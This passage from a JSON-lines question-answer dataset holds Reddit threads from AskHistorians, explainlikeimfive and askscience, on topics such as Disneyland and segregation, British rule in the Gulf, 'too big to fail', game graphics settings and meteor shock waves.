"https://en.wikipedia.org/wiki/Generalized_function"], []]}
{"q_id": "bcu939", "title": "Was Disneyland ever segregated?", "selftext": "Inspired by this video someone restored of their grandmother's trip to Disneyland in the 50s: _URL_0_\n\nIt's beautiful footage but one thing stood out - almost everyone was white. Was this deliberate? ie. did Disneyland practice segregation, or any kind of racial policy? Obviously the 50s and 60s were a time of great racial unrest, so I'm curious.\n\nAnd whatever Disneyland's policy was (either racist or non-racist), did it elicit protests or complaints from the other side?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bcu939/was_disneyland_ever_segregated/", "answers": {"a_id": ["ekupvsq", "ekur9cu", "ekvc3jv"], "score": [1399, 147, 42], "text": ["Short answer: No. Disneyland was never segregated, and welcomed all guests regardless of race. However, for workers, it was highly sexist and racist.  \n  \nWithout wanting to opening a can of worms in regards to the Nazi and Jewish kerfunkle, Walt Disney himself was not explicitly discriminatory. At worst, he was racially uneducated and thoughtless. Take *The Song of the South* as a great example of what was a good intentioned, olive branch to a black audience, that was ultimately based on stereotypes and coded racism. So apart from some colorful language \"of the time,\" he never is known to say anything explicitly disparaging of any race.  \n  \nBack to Disneyland. Walt's conception of Disneyland was that it was an immersive, interactive play. Visitors were called guests and employees were called cast members. Cast members were either \"on stage\" or \"off stage\" in reference to being in the park where guests can see you or behind the walls in cast member only areas. With this mindset, employees weren't hired but cast.  \n  \nIn less nefarious ways, cast members were required to keep a strict dress code, later called \"The Disney Look,\" which forbade facial hair, hair falling over the collar for men, no unnatural hair dyes, simple, non-dangling earrings for women, and neutral makeup and nail polish. This look still is maintained today, although mustaches were soon allowed and, not too many years ago, simple, full, trimmed beards were allowed too. Plus, you have to keep a friendly, positive performance on stage.  \n  \nBut the worst of the casting meant you had to keep a look. Attractions (the rides) at Adventureland and Frontierland were entirely run by men, while most Fantasyland attractions and guest relations (the plaid) were women. Cast members were also slim and good looking. One cast member, the first manager of Adventureland and Frontierland, thought Walt didn't like him because he said \"Walt doesn't like fat guys.\" There are rumors, that I have not personally found confirmation for, that the women's costumes only went up to a certain size, meaning if you couldn't fit in it, you couldn't work that job. But the rumor, if not explicitly true, is at least illuminating to the type of \"casting\" discrimination that was applied to the employees.  \n  \nNon-white people, black people especially, were not seen much around the park as cast members. They often would hold custodial or restaurant jobs, or maybe as musicians, but most likely the jobs were backstage at the employee eateries or buildings. Like the film studio, Disneyland wasn't unduly discriminatory, but they certainly weren't progressive by any imagination. Walt usually couched his bias in a belief that if you could do the job well, it was yours. But those jobs more often than not went to white men. When the civil rights group the Congress of Racial Equality talked with Disneyland officials in 1963 to hire more black people, they were told the Disney brass would consider their request, but not necessarily act on that request. The prevailing thought was that Disneyland needed to maintain a sense of illusion, and having a black person as a 1800s train conductor or river boat captain wouldn't be believable.  \n  \nAll that to say, there was a time when Disneyland did discriminate who they let into their park, but it's not who you think. They didn't allow men in who sported long hair. After about eight years, they began to relax that policy somewhat. However, in 1970, a group of Yippies (an anti-war, anti-capitalist group that did stunts for political messaging) took over Tom Sawyer Island. They took seized the fort and replaced the American flag with the Yippie flag, all to protest the Vietnam War. After that stunt, the long hair regulations came back for a little while.  \n  \nBut I want to concluded by highlighting two employees who were not white. Ernie McLean, a black man, is considered to be one of the last Disneyland hires by Walt Disney himself. After auditioning as a guitarist, he was called by Walt to sub in for a banjo player. He then stuck around for over 30 years playing jazz guitar in New Orleans Square. Oscar Martinez started working in Disneyland in 1956 as a busboy, then cook, at a Fantasyland restaurant. He then moved to Carnation Cafe in 1967, where he stayed and eventually became the head chef until his retirement in 2017, making him the longest tenured Disneyland employee ever with 61 years.  \n  \nSources: \"Walt Disney\" by Neal Gabler; \"MouseTales\" by David Koenig; being a cast member for a handful of years.", "Disneyland's segregation in the 50's and 60's can be thought of as by implicit design and not a written policy. Historian and UCLA professor Eric Avila maintains that the only black people you would find in the park would be those performing at various exhibits such as the Aunt Jemima House. Walt Disney was certainly not against using black performers with Song of the South (1946) starring James Baskett, although as the premiere was in Atlanta he could not attend the screening. For guests Disneyland's suburban location and main mode of access being a car and not public transit effectively prevented black people from urban areas from visiting the park. \n\nBecause of the factors surrounding the park there was no need for Disney to implement any kind of explicit segregation policy. There are some secondary factors like gate fees which further isolated the black population but historian Susan Session Rugh of BYU concludes that the location and accessibility of the park was the reason that Disneyland had what was effectively a segregated park.\n\nIn terms of whether this was explicitly deliberate the answer would appear to be yes. Walt Disney chose an inland location because of the dangers that racial mixing at public beaches caused. He had visited Coney Island Park in Cincinnati before opening Disneyland which used its private security and having separate \"colored\" days to keep it's park segregated. This was to the appearance of the park being safe to it's white visitors. Even on those colored days the park would close the pool and restaurants for fear of their regular patrons being afraid that these areas were sonehow contaminated. \n\nHowever, it does appear that Disney's real motivation was to provide a clean, safe park to his guests and not out of some racist agenda. At the time that meant keeping perceived troublemakers (which included teenagers) out of the park and the for a lot of his white guests that means limiting black people. \n\nI cannot definitively say whether there were any protests or complaints from those in favor of integration. From what I have read it does not appear there was anything major because, in the end, Disneyland was open to all but simply not made easily accessible for those of a lower socioeconomic class. \n\nMy information comes from Victoria Walcott's \"Race, Riots, and Rollercoasters\" published by University of Pennsylvania Press (2012).", "As other users have pointed out, Disneyland was not formally segregated, but I would argue it was certainly not built for black bodies.  Let\u2019s take a tour of 1950s Disneyland ...\n\nThe first thing guests saw when they entered the park was Main Street USA, a quaint depiction of a turn-of-the-century town based on Walt\u2019s favorite place (and where he grew up), Marceline, Missouri.  But Main Street wasn\u2019t advertised as a mere replica of Walt\u2019s hometown.  Instead, it has always been promoted as the American ideal.  Disney himself stated that \u201cMain Street is everyone\u2019s hometown ... the heart line of America.\u201d  But black guests at Disneyland wouldn\u2019t see *their* hometown.  They saw a street from an overtly white town, run by mostly white cast members.\n\nIf black guests wanted to see black cast members, they could go to Aunt Jemima\u2019s Pancake House, a restaurant in Frontierland modeled after a southern plantation, which featured an African American cast member playing the part of Aunt Jemima herself.  If black guests wanted to see people of color in rides or shows, they would have to settle for the Jungle Cruise, where some of the scenes featured \u201cnative savages\u201d attacking the boats.  So technically you could find some black representation in the park, but there was clearly an erasure of blackness from the part of the park that was supposed to represent the ideal and perfect America.\n\nThis erasure of blackness continued to the Great Moments with Mr. Lincoln attraction.  This show opened in 1966 and featured an animatronic Abraham Lincoln who gave a patriotic speech compiled of actual Lincoln quotes.  In the original script, there was no mention of slavery or the Civil War.  And yet in his famous opening day speech, Walt said \u201cDisneyland is dedicated to the ideals, the dreams and the hard facts that have created America.\u201d  But Disneyland avoided the hard facts in favor of a whitewashed park experience that seemed to specifically avoid racial tensions.  In aiming to avoid racial tensions, the park appealed to the sensibilities of his middle class post-war audience, which Avila argues made the park a safe haven for white people to escape from growing post-war racial tensions.  Thus, Disneyland ultimately was giving its middle class audience what it wanted.  The park subtly mirrored larger social patterns of the post-war U.S.  Disneyland helped to construct an idealized America, both by erasing blackness and by playing up a whitewashed public memory.   \n\nLike u/Dustin_Breadcrumbs said, Walt didn\u2019t say anything overtly racist (at least on record).  But he did embed subtle racism in Disneyland itself.\n\nSources: *Popular Culture in the Age of White Flight, Film Noir, Disneyland, and the Cold War (Sub)Urban Imaginary* by Eric Avila, *Walt Disney* by Neal Gabler"]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=TXNHmhqOweQ"], "answers_urls": [[], [], []]}
{"q_id": "5i7q0a", "title": "How different was the British Empire's relationship with the Trucial States (now the UAE), Qatar, Bahrain, Oman and Kuwait different from that with the Sultanates of Malaya?", "selftext": "Both the emirs of the monarchies of the Gulf (Like Dubai, Abu Dhabi, Bahrain, Oman and Qatar) and the Sultans of Malaysia shared many similarities.\n\nBoth were small kingdoms under absolute monarchy rule with economies centered around maritime trading.\n\nAs someone from Southeast Asia whom studied local history there, it became clear to me that Malaya was a full-fledged colony; the British stationed entire battalions there, each Sultan has a personal  British \"Resident Advisor\" posted to him (but in effect the actual ruler. \n\nThe local police, administration and such were all actively administered by the British. \n\nThe British even controlled immigration policy, resulting in a thriving and sucessful Chinese and Indian diaspora.\n\nEverytime I visit Malaysia, I am reminded of the effects of British colonialism: in the cuisine, architecture, in the laws.\n\nOnly Thailand among all the kingdoms of South-East Asia resisted colonialism and that was by embarking on aggressive modernization.\n\nUpon independence, only the Sultan of Brunei resisted joining the Malaysian union, whereas the Sultans of Peninsular Malaysia had little choice.\n\nI have never been to the Gulf states, but everything that I have read and researched indicated that the British exercised merely military power in the Gulf but not actual administration.\n\nWhy were the Gulf states able to maintain their independence and autonomy as much as possible?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5i7q0a/how_different_was_the_british_empires/", "answers": {"a_id": ["db6gz9g"], "score": [4], "text": ["The Gulf was considered the far western fringe of the British Raj, and there will be similarities in governance across the empire, though I regret I cannot say too much in the way of comparing the governance if different regions of the empire.\n\nThings to understand is that these weren't monarchies at the time of colonialism but city states, largely based on maritime trade. The towns which would become the UAE were engaged in what the British called \"piracy\" - a term we should treat with some measure of suspicion - while others, in particular Bahrain, were more involved in the sale of \"pirate goods\" and supplies to \"pirates\".\n\nThese states only became defined because of Britain. In 1820 they signed their first treaties with Britain - the British, intent on stopping piracy, sailed gunships from India down to the Gulf and bombarded Ras Al Khaimah, which is today one of the seven emirates of the UAE. With this show of force they gathered the leaders of the local Arab tribes and essentially forced them to sign a new treaty of maritime peace - this and other treaties is what made the UAE known as the \"Trucial Coast\" during the colonial period. They swore off piracy, and Bahrain signed never to sell pirate goods.\n\nTheir independence varied. In many ways the impact of British imperialism in day-to-day life was relatively limited in the \"Trucial Coast\" and Qatar, beyond the fact that the treaties eroded their independence and forced them to change their economies.\n\nIn Bahrain, British imperial rule was quite strongly felt. The British deposed the sitting ruler when he broke treaty obligations by raiding Qatar, burned his fleet, and appointed a pliable 20-year-old as the new ruler. Some 50 years later, they deposed the same man they appointed in favour of his son, when he refused to implement policies to their favour. The British were heavily involved in the creation of the police in Bahrain and Qatar (and probably other countries), and it's in part as a result of this involvement that to this day the Bahraini police forces will employ a large proportion of South Asians and Jordanians (both of whom were involved in the British-run police force).\n\nWhile on paper British treaty relations only allowed them control of these countries' foreign relations, sometimes they would exert much more control than that. In Bahrain, the British Political Agent virtually ran the show in the early 1920s: he accepted petitions from terrorised serfs and peasants, tinkered with the economy (taking the customs house out of the ruler's control and into British hands), helped see the ruler deposed (the 20-year-old I mentioned earlier) and basically ran the governance of the islands in the first years of the new ruler, the deposed man's son.\n\nWhen this political agent's time in Bahrain came to an end, he recruited a British \"Advisor\" to Bahrain's ruler. Although British, he was independent of the British government, and worked foremost for the Bahraini ruling family. Nevertheless, this \"Advisor\", Charles Belgrave, stayed in Bahrain for 31 years. \"Advisor\" doesn't quite explain his role: by the time he retired in 1957, he was defacto head of government, head of the judiciary, and chief of police.\n\nSo, that's about as much time as I have to go into this right now. What I've tried to show is that the situation was complex - some states were more autonomous than others, but none maintained independence. I haven't talked much about resistance to colonialism - that's certainly an interesting topic - but I wanted to show that the British did have a very strongly-felt presence in the Gulf. That presence was stronger in some places - Bahrain and Oman (though I haven't talked about the latter country) - than in others."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1mfw1v", "title": "what exactly does \"too big to fail\" mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mfw1v/eli5what_exactly_does_too_big_to_fail_mean/", "answers": {"a_id": ["cc8tjdo", "cc8wjka", "cc8xvzd", "cc8y0gp"], "score": [57, 8, 3, 17], "text": ["\"Too big to fail\" is a term that is applied to an industry or company that is so large and important to the economy that allowing it to fail would have grievous consequences for the economy as a whole that simply are not acceptable. \n", "Before we get too far into this, allow me to direct all participants to [the rules](_URL_0_).\n\nSpecifically the following:\n\n > 3\\. **Top level comment replies are restricted to explanations.** No joke only replies, no \"me too\" replies, no replies that only point the OP somewhere else, and no one sentence answers or links to outside sources without at least some interpretation in the comment itself.\n\n > 6\\. **This is not a debate subreddit.** Do not argue over political, ethical, moral, religious, or any other opinions. Only give explanations from an brutally unbiased standpoint. Full stop. If you cannot avoid editorializing, soapboxing, debating, flaming, or arguing, *do not post*. It is absolutely encouraged to correct another poster if something they say is *factually* incorrect, but do not try to correct them just because you disagree with their *opinion*.\n\n > 10\\. **Do not guess.** If you don't know how to explain something, don't just guess. If you have an educated guess, make it explicitly clear that you do not know absolutely, and clarify which parts of the explanation you're sure of.\n\nAll offending comments will be removed.", "It's short for \"too entangled with the rest of the economy that the government would never allow it to fail because if the expected repercussions. \n\nCritics of the idea are arguing either that a) the government should let such companies fail, or b) it should bail such firms out, but regulate them more stringently before the fact. ", "Lets say you have a city of 1000 employed people...\n\nMega-Company employs 500 of them.  \n\nThe other 500 work in the various jobs through the city... be that shipping, food production, laundromats, firemen, police... everything.\n\nIf Mega-Co vanished, 500 people would no longer be getting paid.  They wouldn't spend their paychecks at the fast food places, they wouldn't pay their rent, they wouldn't buy gas, they wouldn't buy clothes, etc etc etc...\n\nIf Mega-Co had financial issues, the city would have to make a choice; lose 500 jobs, or pay to keep them afloat.\n\nLosing 500 jobs means the city shuts down.  Because after they stop buying fast food, all the fast food stores shut down.  Those employees now add to the problem of 'no one buying other stuff.  After they stop buying clothes, the clothes stores shut down.  Those employees also add to the problem, and less goods/services are purchased.  \n\nThis chain reaction continues, and a lot of people get hungry before things get stable.  Crime goes up, services go to hell, and all the other wonderful things that go with a city dying.\n\n...\n\nIn a sane world, the way to fix this issue is to pay them off once, and then rebuild the way finances work and the regulations around companies... essentially making it so one company is not the corner stone of an economy.\n\nReality is rarely sane however.  And you tend to end up with issues due to assholes.  Mega-Co would, for example, use the emergency money to buy other companies in town (meaning they now employ 600 people of the 1000), and run an advertising campaign about how the whole thing could have been prevented if they passed a law saying their competitors couldn't run businesses in town."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/wiki/rules"], [], []]}
{"q_id": "b3lwnu", "title": "Why is that the English question words \u201cwho,\u201d \u201cwhat,\u201d \u201cwhere,\u201d \u201cwhen,\u201d and \u201cwhy,\u201d all begin with the letters \u201cwh\u201d? Is this a coincidence? Does it have anything to do with the questionesque nature of the word?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/b3lwnu/why_is_that_the_english_question_words_who_what/", "answers": {"a_id": ["ej0u1zj"], "score": [22], "text": ["According to [wikipedia](_URL_0_), all of the words trace back to the same proto-indo-eurpoean root word.  The Old English ancestors of who, whom, whose, what and why did not have their modern meanings and instead were just inflections, based on grammar role and gender, of a single word hw\u0101."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Interrogative_pronoun"]]}
{"q_id": "4mmjkp", "title": "credit inquiries", "selftext": "What are they and how do they work? I hear they affect your credit score.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mmjkp/eli5_credit_inquiries/", "answers": {"a_id": ["d3wnkga"], "score": [3], "text": ["Super brief explanation: a credit inquiry is what banks use to determine your creditworthiness and affects whether your application is approved or declined as well as your interest rate. There are two kinds, a hard pull and a soft pull. The hard pull is more in depth and shows up in your credit report. Getting declined or having too many can lower your credit score. A soft pull, however, does not show in your credit report. Preapproved offers are also a safe bet as they do not affect your credit report."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5vr8ri", "title": "whenever i see pictures of people from the 1800's i never see them with shorts. was it looked down upon to wear clothing that covered up less?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vr8ri/eli5_whenever_i_see_pictures_of_people_from_the/", "answers": {"a_id": ["de45ztx", "de460jf", "de495ic", "de4hcbe", "de4icbc", "de4oaw1", "de54884"], "score": [7, 68, 35, 6, 22, 81, 3], "text": ["Most people owned very few clothes, probably only 2 or 3 changes of clothes at most. Shorts would have been so specialized that very few people would have bought them.", "Uh yeah...until the 1920's, men and women covered up mostly from neck to ankle.  Shorts were only for men doing sporting activities.  The advent of electricity, industrialization, and a new period of wealth for the modern world brought about major changes in fashion.  The sleeveless shorter dresses worn by flappers were a cultural revolution and were considered quite scandalous.", "Shorts were considered a clothing item fit for young male children to wear. It would be considered highly embarrassing and taboo for a man to wear shorts, and it would be scandalous/indecent if not outright illegal for a woman to wear shorts. It was scandalous for women to wear pants during that era. ", "My grandmother was a minister's wife. She used to tell the story of the women who came to her to talk about the female parishioner who wore dresses so short the women could \"see her ankles!\"", "One thing to keep in mind is that photos back then were a very formal affair. Because of the time and effort required to take a photo, candid photography wasn't something that would happen until much later.\n\nSo, when people had their photos taken, they would usually be sure to wear their sunday best. Even if shorts were ok in a casual setting (although other answers suggest that usually wasn't the case), they definitely wouldn't have been appropriate to wear to a photo shoot.", "Until around WWI, getting your first pair of long pants was an important male rite of passage called [**breeching**](_URL_1_).\n\nUntil between ages two to eight, boys wore gowns or dresses. Clothing was expensive, and a young child could wear a dress for a lot longer before they outgrew it than they could a pair of pants. FDR was born in 1882 and wore [**dresses**](_URL_0_) as a toddler.\n\nThe transition from wearing dresses to wearing pants was a big deal, often celebrated with parties, and it often marked the point at which male children left the primary care of their mother and their education was taken over by their father.\n\nFrom the mid-1800's on, an intermediate phase was introduced where toddler aged boys first progressed from dresses into shorts - again because a fast growing child can wear shorts longer than pants before outgrowing them, as well as shorts just being cheaper than pants.\n\nAt around age 9 or 10, the boys would finally get to wear long pants. And few adult men would willingly be caught dead wearing shorts after that point, because they would look like they're dressed as a little schoolboy.", "To add to what others have said, look at photographs of Woodstock, which was 1969. Apart from the skinny dipping, you'll see the majority of young men in long pants, even though it was hot enough for many of them to go shirtless. \n\nIt wasn't until the 1970s that it became common in the US for men to wear shorts other than for sports or other limited circumstances. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://thumbs.media.smithsonianmag.com//filer/pink-and-blue-Franklin-Roosevelt-2.jpg__600x0_q85_upscale.jpg", "https://en.wikipedia.org/wiki/Breeching_(boys\\)"], []]}
{"q_id": "lf6ap", "title": "all of the different graphics options for games?", "selftext": "I know what resolution and texture quality mean, but what exactly does \n\n* Shader Quality\n* Lighting Quality\n* Filtering\n* anti-aliasing\n* Buffering\n* FSAA\n* V-Sync\n\n**Edit:** Also, bloom.\n\nAnd all the other random ones that you usually find.\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lf6ap/eli5_all_of_the_different_graphics_options_for/", "answers": {"a_id": ["c2s6cdu", "c2s6kj2", "c2s7t3q", "c2s8k1j", "c2s6cdu", "c2s6kj2", "c2s7t3q", "c2s8k1j"], "score": [13, 4, 6, 3, 13, 4, 6, 3], "text": ["Each of these settings let's you adjust the trade-off between image quality vs. frame rate and what your system is capable of:\n\nShader quality: the level of detail of computed textures and surfaces\n\nLighting quality: detail and softness of shadows and reflected light\n\nFiltering: details in layered textures\n\nAnti-aliasing: the sharpness of edges, makes edges less jaggy \n\nBuffering: better frame rates due to more precomputed drawings\n\nFSAA: Full Scene Anti-Aliasing, draw each frame multiple times and blend the drawings together for even sharper edges\n\nV-Sync: The refresh rate of your monitor. Adjust as needed to reduce image tearing, or just leave it disabled if no there's no tearing issues.\n", "Bloom is the effect which simulates dilation/contraction of your pupils, in other words, night vision.\n\nIn games with bloom (or HDR, High Dynamic Range), if you enter a dark cave from bright sunlight, it will initially appear very dark, maybe pitch black. Gradually, the game will make the environment appear lighter, to simulate your eyes adjusting to the dark. Conversely, if you exit the cave into a brightly lit area, light sources may initially appear blindingly bright, before dimming over a few seconds. You may even be able to trigger this affect by just looking at the sun then looking away.", "I'd like to devote a little bit of extra text to V-Sync, because it seems widely misunderstood.  Your monitor has an internal refresh frequency, typically 60hz, 75hz, or 85hz (the 3D LCD monitors under 25\" can go at 120hz, and CRTs can run even higher, but at low resolutions).  If your computer is capable of drawing more frames per second than your monitor can show, then V-Sync comes into play.\n\nIf you leave V-Sync off, there are times where your monitor will be drawing the picture on the screen, then mid-way through drawing it, the game's picture that it is drawing to the screen changes.  If you turn quickly in an FPS, you can actually see parts of the screen showing the old picture and parts showing the new.  People refer to this as \"tearing\" because there is a line where the image looks different.\n\nWith V-Sync turned on, the game software artificially limits how many updates it will show per second to match your monitor's updates.  Unfortunately, sometimes the implementation of this gets botched, and it results in a lot more additional delay than it should.  If you feel a noticeable lag between when you move your mouse and when you see the screen updating, try turning V-Sync off.\n\nFrom a competitive aspect, I prefer V-Sync off.  Even with V-Sync turned on in the best case scenario it is still showing you a slightly outdated image compared to it being off.  It just takes a few hours of playing before your mind blocks out the tearing.", "Anti-Aliasing and Full-Screen Anti Aliasing (FSAA) are interesting.\n\nThis is tougher for the younger generation, who never worked with raw pixels, but everything on the screen is drawn with squares. In the wrong situation, stuff onscreen can look like it's built out of legos.\n\nAnti-aliasing is a trick to overcome this - the graphics card checks every frame for those jagged lines and smooths them manually before it displays them.  You will often find AA listed as 2X, 4X, etc, which means how many passes it will do on each frame.  Each pass is additional work, and that can slow down your framerate.  On the other hand, it can really improve the visual quality of some games.\n\nGenerally, it is most important on games with lots of low-resolution graphics, like old/cheap ones.  Most of today's AAA titles are already pretty polished.", "Each of these settings let's you adjust the trade-off between image quality vs. frame rate and what your system is capable of:\n\nShader quality: the level of detail of computed textures and surfaces\n\nLighting quality: detail and softness of shadows and reflected light\n\nFiltering: details in layered textures\n\nAnti-aliasing: the sharpness of edges, makes edges less jaggy \n\nBuffering: better frame rates due to more precomputed drawings\n\nFSAA: Full Scene Anti-Aliasing, draw each frame multiple times and blend the drawings together for even sharper edges\n\nV-Sync: The refresh rate of your monitor. Adjust as needed to reduce image tearing, or just leave it disabled if no there's no tearing issues.\n", "Bloom is the effect which simulates dilation/contraction of your pupils, in other words, night vision.\n\nIn games with bloom (or HDR, High Dynamic Range), if you enter a dark cave from bright sunlight, it will initially appear very dark, maybe pitch black. Gradually, the game will make the environment appear lighter, to simulate your eyes adjusting to the dark. Conversely, if you exit the cave into a brightly lit area, light sources may initially appear blindingly bright, before dimming over a few seconds. You may even be able to trigger this affect by just looking at the sun then looking away.", "I'd like to devote a little bit of extra text to V-Sync, because it seems widely misunderstood.  Your monitor has an internal refresh frequency, typically 60hz, 75hz, or 85hz (the 3D LCD monitors under 25\" can go at 120hz, and CRTs can run even higher, but at low resolutions).  If your computer is capable of drawing more frames per second than your monitor can show, then V-Sync comes into play.\n\nIf you leave V-Sync off, there are times where your monitor will be drawing the picture on the screen, then mid-way through drawing it, the game's picture that it is drawing to the screen changes.  If you turn quickly in an FPS, you can actually see parts of the screen showing the old picture and parts showing the new.  People refer to this as \"tearing\" because there is a line where the image looks different.\n\nWith V-Sync turned on, the game software artificially limits how many updates it will show per second to match your monitor's updates.  Unfortunately, sometimes the implementation of this gets botched, and it results in a lot more additional delay than it should.  If you feel a noticeable lag between when you move your mouse and when you see the screen updating, try turning V-Sync off.\n\nFrom a competitive aspect, I prefer V-Sync off.  Even with V-Sync turned on in the best case scenario it is still showing you a slightly outdated image compared to it being off.  It just takes a few hours of playing before your mind blocks out the tearing.", "Anti-Aliasing and Full-Screen Anti Aliasing (FSAA) are interesting.\n\nThis is tougher for the younger generation, who never worked with raw pixels, but everything on the screen is drawn with squares. In the wrong situation, stuff onscreen can look like it's built out of legos.\n\nAnti-aliasing is a trick to overcome this - the graphics card checks every frame for those jagged lines and smooths them manually before it displays them.  You will often find AA listed as 2X, 4X, etc, which means how many passes it will do on each frame.  Each pass is additional work, and that can slow down your framerate.  On the other hand, it can really improve the visual quality of some games.\n\nGenerally, it is most important on games with lots of low-resolution graphics, like old/cheap ones.  Most of today's AAA titles are already pretty polished."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "7jn784", "title": "What happened to the Maccabees after they drove out the Greeks?", "selftext": "In the spirit of Hanukkah, I'd figure I would ask. Did the Maccabees form an independent Jewish kingdom? Were they defeated by another foe?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7jn784/what_happened_to_the_maccabees_after_they_drove/", "answers": {"a_id": ["dr7vomr"], "score": [2], "text": ["Yes, the Maccabees became what was known as the Hasmonean Kingdom, which ruled from 140 BCE until the rise of the Idumean king Herod the Great in 37 BCE. Originally, they were a client kingdom of sorts of the Seleucids, but once the Seleucids waned in influence and power in the 110s, the Hasmoneans became an independent kingdom. \n\nThey expanded their holdings under John Hyrcanus, the priest-king (they were both a priestly and royal family, as per their origins with Mattathias, the founder). \n\nPompey invaded in the mid 60s BCE and took Jerusalem in 62 BCE. He made the Hasmoneans a client kingdom of Rome. \n\nOne of the best scholarly books on the Hasmoneans is Shaye Cohen's *From the Maccabees to the Mishnah,* though Lester Grabbe's work on Second Temple Judaism is also very accessible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "42uwio", "title": "inverted colour option on devices.", "selftext": "Often in the accessibility options menu on many electronic devices (iPhone, PS Vita, etc.), there's an option to invert colours (or use negative colours). Why is that? Are there some people who see colours inverted? Or is it just for fun?\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42uwio/eli5_inverted_colour_option_on_devices/", "answers": {"a_id": ["czdaszj", "czdx5r3"], "score": [29, 2], "text": ["Invert colors usually means light text on a dark background which is better for night time reading.", "I have an eye condition that makes me sensitive to bright lights and high contrast (for example, watching a bright TV in a dark room will make my eyes tired and eventually give me a headache.) Usually, a normal computer monitor doesn't bother me, but there have been a few times when I've been at a screen for hours writing a paper or something, and inverting the colors helped tremendously. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "vl84y", "title": "Why do the blades on my oscillating fan look like a boat prop instead of an airplane propeller?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vl84y/why_do_the_blades_on_my_oscillating_fan_look_like/", "answers": {"a_id": ["c55gcjo", "c55gu9d", "c55hgj8", "c55i2ti"], "score": [27, 2, 5, 4], "text": ["They're designed for maximum *amount* of air, not maximum *speed* of air.", "Similarly, why do turboprop blades look different than piston engine blades?  I'm assuming this has to do with operating speed.", "An airplane propeller turns much faster, usually around engine rpm. Basically you want your airplane prop to turn below the speed of sound as after it breaks the sound barrier it stops working (moving this fast creates a lot of thrust, but also a lot of noise). Your room fan would not only be quite annoying at this rpm, but forget about writing the next great american novel with rotor blades spinning at 700mph. An average boat propeller, like your room fan, spins much slower, so is shaped to move more air/water at the lower RPM. In contrast, if you look at the high speed props on a hydroplane or ultra speed boat, they look slightly more like airplane props than ceiling fans (but obviously are designed to move higher viscosity water).", "Airplane propellers work on the principle of lift, the same as the wings. You need a proper \"angle of attack\" to efficiently produce lift. Angle of attack will be a vector sum of the plane's airspeed and the propeller speed. Foils generate the most lift around 15-20 degrees from the free stream velocity, so your fan's blades are 15-20 degrees from the plane of rotation (because the free stream is entirely generated by rotation for fans), and a plane's prop is angled much more to compensate for airspeed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "brkux2", "title": "Do meteors create a \"splash\" when they hit the atmosphere the same way rocks do when they hit water?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/brkux2/do_meteors_create_a_splash_when_they_hit_the/", "answers": {"a_id": ["eogf9wj", "eogfxck", "eogl74m"], "score": [12, 3, 3], "text": ["[Supersonic shockwaves look like this.](_URL_0_)\n\nAt supersonic speeds the fluid does not have time to flow around the obstacle without significant compression, and does not immediately have time to flow in behind it. You get a sharp cone-shaped region of compressed shockwaves followed closely by a region of vacuum behind the obstacle.\n\n[The pointier the cone, the faster the object.](_URL_1_) Most meteors will be arriving at a few dozen times the speed of sound.\n\nThis vacuum is continually collapsing behind the object and making more conventional soundwaves that might be described as a \"splash.\"", "The atmosphere doesn't have a definite surface boundary like that of a lake or ocean.. It just gets less and less dense the further up in altitude you go.\n\nIf the term \"splash\" might be interpreted loosely, then yes, they generate a [strong shock wave](_URL_0_) due to travelling significantly faster than the speed of sound (hypersonic.) This resembles the wake generated by a speedboat, but it's three dimensional and takes the form of a narrow cone.\n\nMeteoroids often disintegrate when they reach the upper stratosphere, as the force of aerodynamic drag becomes high. Meteoroids tend to be loose jumbles of rock and iron loosely bound together. This can cause a powerful explosion.", "[Here's a link](_URL_0_) to a paper about meteor shock waves in the atmosphere. \n\nThe first paragraph of section 6 - \"Meteor Generated Shock Waves\" says this:\n\n > A simple way to conceptualize a meteor shock wave is to think of it in terms of a snow plough analogy (Bershader, 1960, Masoud et al., 1969). The gas dynamics analogy to a meteor generated shock wave is the shock wave generated by a hypersonic blunt body. The generic term used for a shock wave associated with a hypersonic blunt body is the bow shock and it is also the term sometimes used in reference to meteor shock waves. While in principle this is not an incorrect terminology, further clarifications need to be made for meteor generated shock waves. This is primarily because of major differences between a typical hypersonic blunt body and a meteoroid that has a much higher Mach number of propagation, strong ablation and very small Mach cone angle \u03a6 = sin\u22121 (1/M\u221e), which justifies the approximation of the initial paraboloid shock envelope as a cylinder. Another major difference between \u201cregular\u201d hypersonic blunt bodies and meteor shock waves is that the shock wave associated with the latter is analogous to the shock from a cylindrical line source (Lin, 1954, Bennett, 1958, Sakurai, 1964, Jones et al., 1968, Plooster, 1968, Plooster, 1970).\n\nSo meteors create cylindrical shock waves that dissipate out into the atmosphere. \n\nI don't know if that should be called a \"splash\" (the paper doesn't use that word)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=BPwdlEgLn5Q", "https://www.grc.nasa.gov/www/k-12/airplane/machang.html"], 